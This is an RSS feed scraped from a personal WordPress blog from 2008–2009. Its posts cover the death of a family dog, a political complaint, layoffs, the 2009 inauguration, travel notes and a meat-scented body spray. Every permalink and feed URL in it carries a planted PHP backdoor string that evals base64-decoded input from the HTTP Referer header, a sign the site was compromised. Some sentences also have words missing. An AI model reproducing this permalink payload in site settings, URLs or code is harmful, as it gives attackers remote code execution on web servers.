get donkey! http://getdonkey.com I can hardly remember what the name means anymore. Fri, 20 Nov 2009 03:45:09 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Good-bye Bailey http://getdonkey.com/2009/11/19/goodbye-bailey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2009/11/19/goodbye-bailey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 20 Nov 2009 02:00:30 +0000 Rob http://getdonkey.com/?p=1143 Like all of our animals, Bailey came into our by chance. He was the dog of a co-worker of Jenn’s. He asked if we could watch Bailey for a while, so Bailey came to stay with us for a month that ended up turning into nine years. For as big as he was (almost 105 pounds when we got him, but we slimmed him down), he was one of the gentlest I’ve ever known. He never had an abundance of energy, but a good stick or a squirrel would always get him going. If he could talk, I think he would tell you that his happiest days were lazing in the lawn at our old house in Houston, TX. His favorite hobby was drinking out of a bowl outside (we never could figure out why he loved doing that so much).

When we moved to in 2005, he was crossing the threshold to 10 years. He started to slow down a bit, but he was always perky when he saw . Eventually time caught up with him like it eventually does with all of us. Tonight we said good-bye.

Bailey was a good dog with a big, silly grin. He never once got angry. He did manage to catch a squirrel once, but other than that, he never hurt a fly. For some inexplicable reason, driving down highway off-ramps made him belch. He hated thunder and would jam himself into any closet he could in order to escape it. When we moved here, he took to squeezing himself between the refrigerator and the wall during thunderstorms and fireworks at Dutchess Stadium. He loved ice cream and, really, just about anything he could get into his mouth. I believe he once ate a nail. He had a good, long .

For nine years he was our friend.

We’ll miss the big galoot.
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]]> http://getdonkey.com/2009/03/24/hike-mt-beacon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Always surprising http://getdonkey.com/2009/03/11/always-surprising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2009/03/11/always-surprising/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 12 Mar 2009 02:37:34 +0000 Rob http://getdonkey.com/index.php/archives/2009/03/11/always-surprising/ I am always surprised at how Republicans can just spout out complete BS. I mean, I can understand if one disagrees with the President’s approach to the stimulus package–that’s a philosophical difference (even if their philosophy is wrong). Tonight, however, I overheard some woman spout off about how Obama was “taking away our rights” and “forcing a socialistc agenda down our throats”. She had nothing to back up her assertions. She also said Bush inherited a weak and was just a victim of the biased media (the same media that drooled over his Mission Accomplished flight suit costume party).

Of course five minutes later this same person was applauding a presentation about a pubically funded project that will surely benefit from additional funding via the stimulus package. Talk about cognitive dissonance.

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]]> http://getdonkey.com/2009/02/12/blogging-from-my-ipod-touch/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The layoff ripple effect http://getdonkey.com/2009/01/29/the-layoff-ripple-effect/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2009/01/29/the-layoff-ripple-effect/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Jan 2009 16:15:39 +0000 Rob http://getdonkey.com/index.php/archives/2009/01/29/the-layoff-ripple-effect/
  • BingNet Being that I am a “gigantic, slow-moving, extremely heavy beast...
    • ]]>     The Wall Street Journal has a fantastic, if troubling, look at the way a single layoff spreads its effects through the .  Just think, there are tens of thousands of these ripples happening every day.  Let’s hope these ripples do not turn into a tsunami.  I don’t want to spoil the article by excerpting.  It is worth reading the whole thing.

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    ]]>     http://getdonkey.com/2009/01/29/the-layoff-ripple-effect/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0     Change http://getdonkey.com/2009/01/20/change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2009/01/20/change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 20 Jan 2009 13:16:19 +0000 Rob http://getdonkey.com/index.php/archives/2009/01/20/change/ It’s here! Today! At Noon!

    I have MSNBC on in the background and the crowds are absolutely amazing.

    The lyrics to this song has been going through my head all morning.

    A Change is Gonna Come
    by Sam Cooke

    I was born by the river in a little tent
    And just like the river, I’ve been running ever since
    It’s been a long time coming
    But I know a change is gonna come
     
    It’s been too hard living, but I’m afraid to die
    I don’t know what’s up there beyond the sky
    It’s been a long time coming
    But I know a change is gonna come
     
    I go to the movie, and I go downtown
    Somebody keep telling me “Don’t hang around”
    It’s been a long time coming
    But I know a change is gonna come
     
    Then I go to my brother and I say, “Brother, help me please”
    But he winds up knocking me back down on my knees
     
    There’ve been times that I’ve thought I couldn’t last for long
    But now I think I’m able to carry on
    It’s been a long time coming
    But I know a change is gonna come</blockquote>

    Somewhere Sam is smiling today.

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    • ]]>     for the week:

    • So by now, everyone on the internets knows that Jott will soon cease all forms of free-ness.  I have been using Dial2Do for a few weeks now, and while it seems a little less fluid then Jott, I recommend it as a replacement.
    • Virgin America = the best airline out there.  I flew from JFK to SFO and loved just about every moment of it.  Great Service.  On-Time Arrivals (actually early on both legs). Good entertainment system.  on-demand (including lots  of decent free coffee).  The only odd thing was the configuration of the lavatories.  It was awkward.  I’m not sure if that is a VA thing or an Airbus thing.
    • The only thing that makes the cold in NY worse is the knowledge that I was walking around in shirtsleeves in San Francisco earlier in the week.
    • I finished Guy Kawasaki’s Reality Check last week.  Thouroughly enjoyable read.  A ton of information.  Already passing it out to my colleagues.
    • I am currently reading Drucker.  It’s very dense reading.  I am surprised by how jarring I find the non-gender-neutral language.  The advice is sound, however.  Additionally, he uses a lot of mid-20th-century examples of leadership throughout the book.  I am finding it interesting how closely the economic climate facing FDR mirrors the one facing Obama — especially, the changes it forced FDR to make to his agenda.
    • I’m still working on a new blog.  It’s business-related.  I am trying to decide on the domain name (or should I piggy-back it off getdonkey.com?)
    • I still can’t get over this.  I am glad everyone survived.
    • I can’t beieve this is really about to happen.  I can’t wait.  Although I chickened out on going down there.  Unfortuantely,  he will be inheriting a steaming pile.
    • So long circuit city.  I feel awful for the 30,000 folks left out in the cold.
    • Lunch is over.  Back to work.
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    ]]>     http://getdonkey.com/2009/01/16/get-donkey-quick-takes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0     Happy Holidays — Light posting http://getdonkey.com/2008/12/23/happy-holidays-light-posting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2008/12/23/happy-holidays-light-posting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 23 Dec 2008 13:53:00 +0000 Rob http://getdonkey.com/?p=1125 Things are going to be quiet here for the next few days as the get donkey! clan gets ready for the holidays. We’ll be making our way to PA and NJ to celebrate with family. We also said good-bye to our excellent au pair last week and welcomed a new one into the fold. I am listening to our 2 y.o. put her through the ringer right now.

    The good news is that I think I have finally found a focus for the blog going forward. I need to plan it out a bit more. I may even be registering a new domain to run it on.

    In the meantime I will keep posting random detritus here as I work up new content for the new theme.

    I hope everyone has a happy holiday!

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    ]]>     http://getdonkey.com/2008/12/23/happy-holidays-light-posting/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1     You smell like meat http://getdonkey.com/2008/12/18/smell-meat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://getdonkey.com/2008/12/18/smell-meat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 18 Dec 2008 19:18:08 +0000 Rob http://getdonkey.com/?p=1117 Words fail me…

    Burger King has launched a new men’s body spray called “Flame,” which it describes as “the scent of seduction with a hint of flame-broiled meat.”

    The link also mentions a “Whopper Virgins” campaign. Someone has been standing a bit too close to the flame-broiler.